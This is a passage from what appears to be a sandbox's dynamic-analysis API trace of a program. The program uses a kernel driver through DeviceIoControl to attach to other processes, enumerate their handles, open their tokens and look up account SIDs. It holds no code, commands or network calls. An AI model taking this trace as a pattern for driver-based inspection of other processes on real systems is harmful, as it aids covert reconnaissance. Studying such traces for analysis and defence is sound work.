ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002027d10, HandleInformation=0x0) returned 0x0 [0094.775] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.775] PsReleaseProcessExitSynchronization () returned 0x2 [0094.775] ObfDereferenceObject (Object=0xfffffa80020273e0) returned 0x10 [0094.775] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a27044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001a27044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.775] ObfDereferenceObject (Object=0xfffffa8002027d10) returned 0x1 [0094.775] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.775] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.775] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.775] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x7c, lpOverlapped=0x0) returned 1 [0094.775] PsLookupProcessByProcessId (in: ProcessId=0x8d0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.775] PsAcquireProcessExitSynchronization () returned 0x0 [0094.775] KeStackAttachProcess (in: PROCESS=0xfffffa80020273e0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020273e0, ApcState=0xfffff880052335d0) [0094.775] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002029130, HandleInformation=0x0) returned 0x0 [0094.775] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.775] PsReleaseProcessExitSynchronization () returned 0x2 [0094.775] ObfDereferenceObject (Object=0xfffffa80020273e0) returned 0x10 [0094.775] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002057044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8002057044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.775] ObfDereferenceObject (Object=0xfffffa8002029130) returned 0x1 [0094.775] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.775] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.775] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.775] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0094.775] PsLookupProcessByProcessId (in: ProcessId=0x8d0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.775] PsAcquireProcessExitSynchronization () returned 0x0 [0094.776] KeStackAttachProcess (in: PROCESS=0xfffffa80020273e0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020273e0, ApcState=0xfffff880052335d0) [0094.776] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0094.776] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.776] PsReleaseProcessExitSynchronization () returned 0x2 [0094.776] ObfDereferenceObject (Object=0xfffffa80020273e0) returned 0x10 [0094.776] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001ed1044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001ed1044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.776] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0094.776] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.776] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.776] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x8e0) returned 0xc0 [0094.776] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.776] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa8002037b30, HandleInformation=0x0) returned 0x0 [0094.776] ObOpenObjectByPointer (in: Object=0xfffffa8002037b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bc0) returned 0x0 [0094.776] ObfDereferenceObject (Object=0xfffffa8002037b30) returned 0x12 [0094.776] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bc0, DesiredAccess=0x8, TokenHandle=0xfffffa800361e240 | out: TokenHandle=0xfffffa800361e240*=0xc8) returned 0x0 [0094.776] ZwClose (Handle=0xffffffff80000bc0) returned 0x0 [0094.776] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.776] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.776] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.778] CloseHandle (hObject=0xc8) returned 1 [0094.778] CloseHandle (hObject=0xc0) returned 1 [0094.778] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.778] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0094.778] PsLookupProcessByProcessId (in: ProcessId=0x8e0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.778] PsAcquireProcessExitSynchronization () returned 0x0 [0094.778] KeStackAttachProcess (in: PROCESS=0xfffffa8002037b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002037b30, ApcState=0xfffff880052335d0) [0094.778] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002035970, HandleInformation=0x0) returned 0x0 [0094.778] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.778] PsReleaseProcessExitSynchronization () returned 0x2 [0094.778] ObfDereferenceObject (Object=0xfffffa8002037b30) returned 0x10 [0094.778] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001f8a044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001f8a044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.778] ObfDereferenceObject (Object=0xfffffa8002035970) returned 0x1 [0094.778] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.778] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.778] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.779] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x64, lpOverlapped=0x0) returned 1 [0094.779] PsLookupProcessByProcessId (in: ProcessId=0x8e0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.779] PsAcquireProcessExitSynchronization () returned 0x0 [0094.779] KeStackAttachProcess (in: PROCESS=0xfffffa8002037b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002037b30, ApcState=0xfffff880052335d0) [0094.779] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80020a0c70, HandleInformation=0x0) returned 0x0 [0094.779] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.779] PsReleaseProcessExitSynchronization () returned 0x2 [0094.779] ObfDereferenceObject (Object=0xfffffa8002037b30) returned 0x10 [0094.779] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001942044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001942044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.779] ObfDereferenceObject (Object=0xfffffa80020a0c70) returned 0x1 [0094.779] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.779] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.779] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.779] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0094.779] PsLookupProcessByProcessId (in: ProcessId=0x8e0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.779] PsAcquireProcessExitSynchronization () returned 0x0 [0094.779] KeStackAttachProcess (in: PROCESS=0xfffffa8002037b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002037b30, ApcState=0xfffff880052335d0) [0094.779] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0094.779] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.779] PsReleaseProcessExitSynchronization () returned 0x2 [0094.779] ObfDereferenceObject (Object=0xfffffa8002037b30) returned 0x10 [0094.779] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001edd044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001edd044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.779] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0094.779] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.779] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.779] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x8f0) returned 0xc0 [0094.779] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.779] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa8001fabb30, HandleInformation=0x0) returned 0x0 [0094.779] ObOpenObjectByPointer (in: Object=0xfffffa8001fabb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bc0) returned 0x0 [0094.779] ObfDereferenceObject (Object=0xfffffa8001fabb30) returned 0x12 [0094.779] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bc0, DesiredAccess=0x8, TokenHandle=0xfffffa800361e240 | out: TokenHandle=0xfffffa800361e240*=0xc8) returned 0x0 [0094.780] ZwClose (Handle=0xffffffff80000bc0) returned 0x0 [0094.780] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.780] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.780] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.781] CloseHandle (hObject=0xc8) returned 1 [0094.781] CloseHandle (hObject=0xc0) returned 1 [0094.781] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.781] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0094.781] PsLookupProcessByProcessId (in: ProcessId=0x8f0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.781] PsAcquireProcessExitSynchronization () returned 0x0 [0094.781] KeStackAttachProcess (in: PROCESS=0xfffffa8001fabb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001fabb30, ApcState=0xfffff880052335d0) [0094.781] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80020a3620, HandleInformation=0x0) returned 0x0 [0094.781] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.781] PsReleaseProcessExitSynchronization () returned 0x2 [0094.781] ObfDereferenceObject (Object=0xfffffa8001fabb30) returned 0x10 [0094.781] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ee1044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001ee1044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.781] ObfDereferenceObject (Object=0xfffffa80020a3620) returned 0x1 [0094.781] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.782] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.782] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.782] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x80, lpOverlapped=0x0) returned 1 [0094.782] PsLookupProcessByProcessId (in: ProcessId=0x8f0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.782] PsAcquireProcessExitSynchronization () returned 0x0 [0094.782] KeStackAttachProcess (in: PROCESS=0xfffffa8001fabb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001fabb30, ApcState=0xfffff880052335d0) [0094.782] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80019ac6b0, HandleInformation=0x0) returned 0x0 [0094.782] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.782] PsReleaseProcessExitSynchronization () returned 0x2 [0094.782] ObfDereferenceObject (Object=0xfffffa8001fabb30) returned 0x10 [0094.782] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.782] ObfDereferenceObject (Object=0xfffffa80019ac6b0) returned 0x1 [0094.782] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.782] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.782] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.782] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0094.782] PsLookupProcessByProcessId (in: ProcessId=0x8f0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.782] PsAcquireProcessExitSynchronization () returned 0x0 [0094.782] KeStackAttachProcess (in: PROCESS=0xfffffa8001fabb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001fabb30, ApcState=0xfffff880052335d0) [0094.782] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0094.782] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.782] PsReleaseProcessExitSynchronization () returned 0x2 [0094.782] ObfDereferenceObject (Object=0xfffffa8001fabb30) returned 0x10 [0094.782] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001faa044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001faa044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.782] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0094.782] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.782] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.782] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x900) returned 0xc0 [0094.782] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.782] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa8002052460, HandleInformation=0x0) returned 0x0 [0094.782] ObOpenObjectByPointer (in: Object=0xfffffa8002052460, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bc0) returned 0x0 [0094.782] ObfDereferenceObject (Object=0xfffffa8002052460) returned 0x12 [0094.782] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bc0, DesiredAccess=0x8, TokenHandle=0xfffffa800361e240 | out: TokenHandle=0xfffffa800361e240*=0xc8) returned 0x0 [0094.783] ZwClose (Handle=0xffffffff80000bc0) returned 0x0 [0094.783] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.783] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.783] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.784] CloseHandle (hObject=0xc8) returned 1 [0094.784] CloseHandle (hObject=0xc0) returned 1 [0094.784] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.784] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0094.784] PsLookupProcessByProcessId (in: ProcessId=0x900, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.784] PsAcquireProcessExitSynchronization () returned 0x0 [0094.784] KeStackAttachProcess (in: PROCESS=0xfffffa8002052460, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002052460, ApcState=0xfffff880052335d0) [0094.784] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002052d90, HandleInformation=0x0) returned 0x0 [0094.784] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.784] PsReleaseProcessExitSynchronization () returned 0x2 [0094.784] ObfDereferenceObject (Object=0xfffffa8002052460) returned 0x10 [0094.784] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fb0044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001fb0044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.784] ObfDereferenceObject (Object=0xfffffa8002052d90) returned 0x1 [0094.784] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.785] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.785] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.785] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0094.785] PsLookupProcessByProcessId (in: ProcessId=0x900, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.785] PsAcquireProcessExitSynchronization () returned 0x0 [0094.785] KeStackAttachProcess (in: PROCESS=0xfffffa8002052460, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002052460, ApcState=0xfffff880052335d0) [0094.785] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80020401a0, HandleInformation=0x0) returned 0x0 [0094.785] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.785] PsReleaseProcessExitSynchronization () returned 0x2 [0094.785] ObfDereferenceObject (Object=0xfffffa8002052460) returned 0x10 [0094.785] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fbf044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001fbf044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.785] ObfDereferenceObject (Object=0xfffffa80020401a0) returned 0x1 [0094.785] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.785] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.785] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.785] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0094.785] PsLookupProcessByProcessId (in: ProcessId=0x900, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.785] PsAcquireProcessExitSynchronization () returned 0x0 [0094.785] KeStackAttachProcess (in: PROCESS=0xfffffa8002052460, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002052460, ApcState=0xfffff880052335d0) [0094.785] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0094.785] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.785] PsReleaseProcessExitSynchronization () returned 0x2 [0094.785] ObfDereferenceObject (Object=0xfffffa8002052460) returned 0x10 [0094.785] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.785] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0094.785] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.785] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.785] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x910) returned 0xc0 [0094.785] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, 